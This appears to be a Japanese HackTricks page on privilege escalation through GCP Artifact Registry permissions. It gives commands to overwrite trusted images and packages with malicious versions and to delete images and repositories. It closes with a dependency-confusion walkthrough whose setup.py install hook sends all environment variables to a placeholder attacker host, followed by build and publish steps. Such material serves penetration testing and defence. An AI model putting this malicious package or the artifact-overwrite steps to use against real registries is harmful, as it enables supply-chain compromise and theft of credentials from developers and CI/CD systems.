# GCP - Artifact Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Artifact Registry

Artifact Registryに関する詳細は次を参照してください:

{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}

### artifactregistry.repositories.uploadArtifacts

この権限があると、攻撃者はDocker imagesのような悪意のあるコードを含むアーティファクトの新しいバージョンをアップロードできます:

<details>
<summary>Artifact RegistryにDocker imageをアップロード</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# tag the image to upload it
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

> [!CAUTION]
> 既存のイメージと同じ名前とタグで新しい**悪意のあるdocker**イメージをアップロードできることが確認されました。そのため、**古いイメージはタグを失い**、次回そのタグでイメージをダウンロードすると**悪意のあるイメージがダウンロードされます**。

<details>

<summary>Pythonライブラリをアップロードする</summary>

**まずアップロードするライブラリを作成します**（レジストリから最新バージョンをダウンロードできる場合、この手順は省略できます）:

1.  **プロジェクト構成を設定する**:

- ライブラリ用の新しいディレクトリを作成します（例：`hello_world_library`）。
- このディレクトリ内に、パッケージ名のディレクトリを作成します（例：`hello_world`）。
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。このファイルは空でも、パッケージの初期化を含めても構いません。

<details>
<summary>プロジェクト構成を作成</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
```

</details>

2.  **ライブラリのコードを書く**:

- `hello_world` ディレクトリ内にモジュール用の新しいPythonファイルを作成します（例：`greet.py`）。
- 「Hello, World!」関数を作成します:

<details>
<summary>ライブラリモジュールを作成</summary>

```python
# hello_world/greet.py
def say_hello():
return "Hello, World!"
```

</details>

3.  **`setup.py` ファイルを作成する**:

- `hello_world_library` のルートに `setup.py` ファイルを作成します。
- このファイルはライブラリのメタデータを含み、Pythonにインストール方法を伝えます。

<details>
<summary>setup.py ファイルを作成</summary>

```python
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
```

</details>

**では、ライブラリをアップロードします:**

1.  **パッケージをビルドする**:

- `hello_world_library` のルートから次を実行します:

<details>
<summary>Pythonパッケージをビルド</summary>

```sh
python3 setup.py sdist bdist_wheel
```

</details>

2.  **twine の認証を設定する**（パッケージのアップロードに使用）:
- `twine` がインストールされていることを確認します（`pip install twine`）。
- 認証情報を設定するには `gcloud` を使用します：

<details>
<summary>twine を使ってパッケージをアップロード</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>

3. **ビルドのクリーンアップ**

<details>
<summary>ビルド成果物をクリーンアップ</summary>
```bash
rm -rf dist build hello_world.egg-info
```
</details>

</details>

> [!CAUTION]
> 既に存在するバージョンと同じバージョンのpythonライブラリをアップロードすることはできませんが、**greater versions**（もしくは可能ならバージョン末尾に追加の**`.0` at the end**を付ける — pythonでは動作しないことがあります）、または**delete the last version an upload a new one with**（`artifactregistry.versions.delete)`**:**
>
> <details>
> <summary>アーティファクトのバージョンを削除</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>

### `artifactregistry.repositories.downloadArtifacts`

この権限があれば、**download artifacts**して**sensitive information**や**vulnerabilities**を検索できます。

**Docker** イメージをダウンロード:

<details>
<summary>Artifact Registryから**Docker**イメージをダウンロード</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

**python** ライブラリをダウンロード:

<details>
<summary>Artifact Registry から **python** ライブラリをダウンロード</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
</details>

- リモートと標準のレジストリが仮想レジストリで混在し、同じパッケージが両方に存在する場合はどうなりますか？このページを確認してください：

{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
{{#endref}}

### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)

レジストリからアーティファクト（例: Docker イメージ）を削除する：

<details>
<summary>Artifact Registry から Docker イメージを削除</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>

### `artifactregistry.repositories.delete`

リポジトリ全体を削除する（コンテンツがあっても）:

<details>
<summary>Artifact Registry リポジトリを削除</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
</details>

### `artifactregistry.repositories.setIamPolicy`

この権限を持つ攻撃者は、前述したいくつかのリポジトリに対する攻撃を実行するための権限を自身に付与することができる。

### Artifact Registry Read & Write を介した他サービスへのピボット

- **Cloud Functions**

Cloud Function が作成されると、新しい docker イメージがプロジェクトの Artifact Registry にプッシュされる。私はそのイメージを新しいものに置き換えたり、現在のイメージ（および `cache` イメージ）を削除してみたが、何も変わらず、Cloud Function は動作し続けた。したがって、バケットと同様に **Race Condition attack を悪用して実行される docker コンテナを変更できる可能性がある** が、**保存されたイメージを単に変更するだけでは Cloud Function を侵害することはできない**。

- **App Engine**

App Engine は Artifact Registry 内に docker イメージを作成するが、**サービス内のイメージを変更して** App Engine インスタンスを削除（つまり新しいインスタンスがデプロイされる）しても、**実行されるコードは変わらない**。\
バケットと同様の **Race Condition attack を行えば実行されるコードを上書きできる可能性** はあるかもしれないが、これはテストしていない。

### `artifactregistry.repositories.update`
攻撃者がこの問題を悪用するために特定の Artifact Registry 権限は必要ない — 必要なのは脆弱な virtual-repository の構成だけである。これは、virtual repository がリモートの public repository（例: PyPI、npm）と内部リポジトリを結合しており、リモートソースの優先度が同等か高い場合に発生する。両方に同名のパッケージが存在する場合、システムは最も高いバージョンを選択する。攻撃者は内部パッケージ名を知っていて、対応する public registry にパッケージを公開できればよい。

`artifactregistry.repositories.update` 権限を持っていれば、攻撃者は virtual repository の upstream 設定を変更して意図的にこの脆弱な構成を作り、Dependency Confusion を永続化手段として利用し、開発者や CI/CD が自動的にインストールする可能性のある悪意のあるパッケージを挿入できる。

攻撃者は内部パッケージの悪意あるバージョンを public repository に高いバージョン番号で作成する。Python パッケージの場合、これは正規のものと類似したパッケージ構成を用意することを意味する。
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
その後、インストール時に実行される悪意のあるコードを含む setup.py ファイルが作成される。このファイルは private repository にあるものより高いバージョン番号を指定している必要がある。
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
パッケージをビルドし、wheel を削除して、インストール時にコードが実行されるようにします。
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
悪意のあるパッケージを公開リポジトリにアップロードする（例えば、test.pypi.org は Python 用）。
```bash
pip install twine
twine upload --repository testpypi dist/*
```
システムやサービスが仮想リポジトリを使ってパッケージをインストールすると、悪意のあるバージョンの方が（バージョン番号等で）高く、リモートリポジトリの優先度が等しいかそれより高いため、正当な内部リポジトリのものではなく公開リポジトリから悪意のあるバージョンをダウンロードします。

{{#include ../../../banners/hacktricks-training.md}}
